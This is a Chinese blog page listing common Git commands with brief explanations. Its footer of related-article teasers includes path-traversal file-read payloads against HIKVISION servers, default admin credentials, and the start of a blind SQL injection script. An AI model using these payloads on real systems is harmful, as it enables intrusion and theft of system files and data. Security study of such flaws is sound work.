Git 命令详解

系列文章目录

C++高性能优化编程系列
深入理解软件架构设计系列
高级C++并发线程编程
C++技能系列

期待你的关注哦!!!在这里插入图片描述

现在的一切都是为将来的梦想编织翅膀,让梦想在现实中展翅高飞。
Now everything is for the future of dream weaving wings, let the dream fly in reality.

Git 命令详解

  • 系列文章目录
  • 一、gitee使用
    • 1.1 新建仓库
  • 二、Git 常用命令
    • 2.1 仓库
    • 2.2 配置
    • 2.3 增加/删除文件
    • 2.4 代码提交
    • 2.5 分支
    • 2.6 标签
    • 2.6 查看信息
    • 2.7 远程同步
    • 2.8 撤销

强烈推荐:
廖雪峰 | Git教程
Git 命令学习

一、gitee使用

网址:https://gitee.com/

1.1 新建仓库

在这里插入图片描述
在这里插入图片描述

二、Git 常用命令

2.1 仓库

在当前目录新建一个Git代码库
$ git init
新建一个目录,将其初始化为Git代码库
$ git init [project-name]
下载一个项目和它的整个代码历史
$ git clone [url]

2.2 配置

显示当前的Git配置
$ git config --list
编辑Git配置文件
$ git config -e [--global]
设置提交代码时的用户信息
$ git config [--global] user.name "[name]"
$ git config [--global] user.email "[email address]"

2.3 增加/删除文件

添加指定文件到暂存区
$ git add [file1] [file2] ...
添加指定目录到暂存区,包括子目录
$ git add [dir]
添加当前目录的所有文件到暂存区
$ git add .
添加每个变化前,都会要求确认
对于同一个文件的多处变化,可以实现分次提交
$ git add -p
删除工作区文件,并且将这次删除放入暂存区
$ git rm [file1] [file2] ...
停止追踪指定文件,但该文件会保留在工作区
$ git rm --cached [file]
改名文件,并且将这个改名放入暂存区
$ git mv [file-original] [file-renamed]

2.4 代码提交

提交暂存区到仓库区
$ git commit -m [message]
提交暂存区的指定文件到仓库区
$ git commit [file1] [file2] ... -m [message]
提交工作区自上次commit之后的变化,直接到仓库区
$ git commit -a
提交时显示所有diff信息
$ git commit -v
使用一次新的commit,替代上一次提交
如果代码没有任何新变化,则用来改写上一次commit的提交信息
$ git commit --amend -m [message]
重做上一次commit,并包括指定文件的新变化
$ git commit --amend [file1] [file2] ...

2.5 分支

列出所有本地分支
$ git branch
列出所有远程分支
$ git branch -r
列出所有本地分支和远程分支
$ git branch -a
新建一个分支,但依然停留在当前分支
$ git branch [branch-name]
新建一个分支,并切换到该分支
$ git checkout -b [branch]
新建一个分支,指向指定commit
$ git branch [branch] [commit]
新建一个分支,与指定的远程分支建立追踪关系
$ git branch --track [branch] [remote-branch]
切换到指定分支,并更新工作区
$ git checkout [branch-name]
切换到上一个分支
$ git checkout -
建立追踪关系,在现有分支与指定的远程分支之间
$ git branch --set-upstream [branch] [remote-branch]
合并指定分支到当前分支
$ git merge [branch]
选择一个commit,合并进当前分支
$ git cherry-pick [commit]
删除分支
$ git branch -d [branch-name]
删除远程分支
$ git push origin --delete [branch-name]
$ git branch -dr [remote/branch]

2.6 标签

列出所有tag
$ git tag
新建一个tag在当前commit
$ git tag [tag]
新建一个tag在指定commit
$ git tag [tag] [commit]
删除本地tag
$ git tag -d [tag]
删除远程tag
$ git push origin :refs/tags/[tagName]
查看tag信息
$ git show [tag]
提交指定tag
$ git push [remote] [tag]
提交所有tag
$ git push [remote] --tags
新建一个分支,指向某个tag
$ git checkout -b [branch] [tag]

2.6 查看信息

显示有变更的文件
$ git status
显示当前分支的版本历史
$ git log
显示commit历史,以及每次commit发生变更的文件
$ git log --stat
搜索提交历史,根据关键词
$ git log -S [keyword]
显示某个commit之后的所有变动,每个commit占据一行
$ git log [tag] HEAD --pretty=format:%s
显示某个commit之后的所有变动,其"提交说明"必须符合搜索条件
$ git log [tag] HEAD --grep feature
显示某个文件的版本历史,包括文件改名
$ git log --follow [file]
$ git whatchanged [file]
显示指定文件相关的每一次diff
$ git log -p [file]
显示过去5次提交
$ git log -5 --pretty --oneline
显示所有提交过的用户,按提交次数排序
$ git shortlog -sn
显示指定文件是什么人在什么时间修改过
$ git blame [file]
显示暂存区和工作区的差异
$ git diff
显示暂存区和上一个commit的差异
$ git diff --cached [file]
显示工作区与当前分支最新commit之间的差异
$ git diff HEAD
显示两次提交之间的差异
$ git diff [first-branch]...[second-branch]
显示今天你写了多少行代码
$ git diff --shortstat "@{0 day ago}"
显示某次提交的元数据和内容变化
$ git show [commit]
显示某次提交发生变化的文件
$ git show --name-only [commit]
显示某次提交时,某个文件的内容
$ git show [commit]:[filename]
显示当前分支的最近几次提交
$ git reflog

2.7 远程同步

下载远程仓库的所有变动
$ git fetch [remote]
显示所有远程仓库
$ git remote -v
显示某个远程仓库的信息
$ git remote show [remote]
增加一个新的远程仓库,并命名
$ git remote add [shortname] [url]
取回远程仓库的变化,并与本地分支合并
$ git pull [remote] [branch]
上传本地指定分支到远程仓库
$ git push [remote] [branch]
强行推送当前分支到远程仓库,即使有冲突
$ git push [remote] --force
推送所有分支到远程仓库
$ git push [remote] --all

2.8 撤销

恢复暂存区的指定文件到工作区
$ git checkout [file]
恢复某个commit的指定文件到暂存区和工作区
$ git checkout [commit] [file]
恢复暂存区的所有文件到工作区
$ git checkout .
重置暂存区的指定文件,与上一次commit保持一致,但工作区不变
$ git reset [file]
重置暂存区与工作区,与上一次commit保持一致
$ git reset --hard
重置当前分支的指针为指定commit,同时重置暂存区,但工作区不变
$ git reset [commit]
重置当前分支的HEAD为指定commit,同时重置暂存区和工作区,与指定commit一致
$ git reset --hard [commit]
重置当前HEAD为指定commit,但保持暂存区和工作区不变
$ git reset --keep [commit]
新建一个commit,用来撤销指定commit
后者的所有变化都将被前者抵消,并且应用到当前分支
$ git revert [commit]
暂时将未提交的变化移除,稍后再移入
$ git stash
$ git stash pop
其他
生成一个可供发布的压缩包
$ git archive

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/133643.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

消息队列简介

消息队列 在认识rabbitMQ之前,我们需要先认识下消息队列。 消息队列,一般简称为MQ(Message Queue)。先不管消息(Message)这个词,先看看队列(Queue)。 队列就是一种先进先出的数据结构。 所以消息队列可以简单理解为&a…

rasa train nlu详解:1.2-_train_graph()函数

本文使用《使用ResponseSelector实现校园招聘FAQ机器人》中的例子,主要详解介绍_train_graph()函数中变量的具体值。 一.rasa/model_training.py/_train_graph()函数   _train_graph()函数实现,如下所示: def _train_graph(file_importer…

Kubernetes基础(七)-Pod资源Limits与Requests

在k8s的集群环境中,资源的合理分配和使用非常重要。毕竟容器化要解决的问题之一就是资源的充分利用。在集群中分配资源的时候就不得不提到Limits和Requests。 1 Namespace配额 Kubernetes 是允许管理员在命名空间中指定资源 Requests 和 Limits 的,这一…

Linux输入与输出设备的管理

计算机系统中CPU 并不直接和设备打交道,它们中间有一个叫作设备控制器(Device Control Unit)的组件,例如硬盘有磁盘控制器、USB 有 USB 控制器、显示器有视频控制器等。这些控制器就像代理商一样,它们知道如何应对硬盘…

Python 使用tkinter的Menu菜单command参数与bind方法共用触发事件

用普通函数作为媒介,使用event_generate()方法模拟触发bind()事件来创建一个模拟的event对象,并将其传递给绑定的事件处理函数。 运行结果 示例代码 import tkinter as tk# 菜单事件 def menuEvent(event):print(event.x, event.y)label.config(textf鼠…

HIKVISION流媒体管理服务器后台任意文件读取漏洞

默认账号密码为 admin/12345 构造payload /systemLog/downFile.php?fileName../../../../../../../../../../../../../../../windows/system.ini漏洞证明 文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。 免责声明:由于传播…

Yum配置、相关命令和常见问题

搭建光盘源 将系统盘读取出来,找到系统盘下存放软件包的目录 2.配置yun仓库 输入命令进入仓库编辑 #必须以.repo结尾 :wq 回车保存退出 3.命令行输入yum repolist 查看yum仓库 配置硬盘源 1.将硬盘源拷贝到目录,或者挂载到目录 2.指定repo文件baseu…

php性能追踪与分析

PHP扩展下载:https://pecl.php.net/package/xhprof php.ini配置 [xhprof] extensionxhprof xhprof.output_dir/temp/xhprof auto_prepend_file /temp/inject_xhprof.php if(php_sapi_name() cli) {return; }$xhprof_config[enabled]1;if(!empty($xhprof_config…

自动化测试测试框架封装改造

PO模式自动化测试用例 PO设计模式是自动化测试中最佳的设计模式,主要体现在对界面交互细节的封装,在实际测试中只关注业务流程就可以了。 相较于传统的设计,在新增测试用例后PO模式有如下优点: 1、易读性强 2、可扩展性好 3、…

C++ 开发【深入浅出】笔记02

多态 同一种类型的不同表现形式基类指针指向基类对象基类对象调用的成员函数,基类指针指向派生类对象则调用派生类得成员函数,这种现象就称为多态构成多态的条件 继承关系基类多态函数必须声明为虚函数(virtual)派生类必须覆盖&am…

自动驾驶学习笔记(八)——路线规划

#Apollo开发者# 学习课程的传送门如下,当您也准备学习自动驾驶时,可以和我一同前往: 《自动驾驶新人之旅》免费课程—> 传送门 《Apollo Beta宣讲和线下沙龙》免费报名—>传送门 文章目录 前言 路线规划 路由元素 路径搜索 最优…

选择排序与堆排序

🎉个人名片: 🐼作者简介:一名乐于分享在学习道路上收获的大二在校生 🐻‍❄个人主页🎉:GOTXX🐼个人WeChat:ILXOXVJE 🐼本文由GOTXX原创,首发CSDN&…

物联网AI MicroPython学习之语法uzlib解压缩

学物联网,来万物简单IoT物联网!! uzlib 介绍 uzlib 模块解压缩用DEFLATE算法压缩的二进制数据 (通常在zlib库和gzip存档器中使用),压缩功能尚未实现。 注意:解压缩前,应检查模块内可…

Django框架FAQ

文章目录 问题1:Django数据库恢复问题2:null和blank的区别问题3:Django创建超级用户报错问题4:Django同源策略 问题1:Django数据库恢复 问题: 从仓库拉下来的Django项目,没有sqlite数据库和migrations记录,如何通过model恢复数据库 解决方法: # 步骤1:导出数据 # 不指定 ap…

SQL注入漏洞:CMS布尔盲注python脚本编写

SQL注入漏洞:CMS布尔盲注python脚本编写 文章目录 SQL注入漏洞:CMS布尔盲注python脚本编写库名爆破爆破表名用户名密码爆破 库名爆破 import requests #库名 database"" x0 while requests.get(urlf"http://10.9.47.77/cms/show.php?id33%20and%20length(data…

【C++】函数指针 ① ( 函数三要素 | 函数类型 | 函数指针类型 | 函数类型重命名 )

文章目录 一、函数类型 和 函数指针类型1、函数三要素2、函数类型3、函数指针类型4、函数类型重命名 二、代码示例 - 函数类型重命名1、代码分析2、完整代码示例 一、函数类型 和 函数指针类型 1、函数三要素 函数原型有三个重要要素 : 函数名称 : 使用 标识符 为函数命名 ; 用…

rasa train nlu详解:1.1-train_nlu()函数

本文使用《使用ResponseSelector实现校园招聘FAQ机器人》中的例子,主要详解介绍train_nlu()函数中变量的具体值。 一.rasa/model_training.py/train_nlu()函数   train_nlu()函数实现,如下所示: def train_nlu(config: Text,nlu_data: Op…

Fortran 中的指针

Fortran 中的指针 指针可以看作一种数据类型 指针存储与之关联的数据的内存地址变量指针:指向变量数组指针:指向数组过程指针:指向函数或子程序指针状态 未定义未关联 integer, pointer::p1>null() !或者 nullify(p1) 已关联 指针操作 指…

python工具HIKVISION视频编码设备接入网关任意文件下载

python工具 构造payload /serverLog/downFile.php?fileName../web/html/serverLog/downFile.php漏洞证明 文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。 免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何…

Ansible命令使用

ansible ansible的命令 ansible命令模块Pingcommand 模块shell 模块copy 模块file 模块fetch 模块cron 模块yum 模块service 模块user 模块group 模块script 模块setup 模块get_url模块stat模块unarchive模块unarchive模块 ansible的命令 /usr/bin/ansible  Ansibe AD-Hoc 临…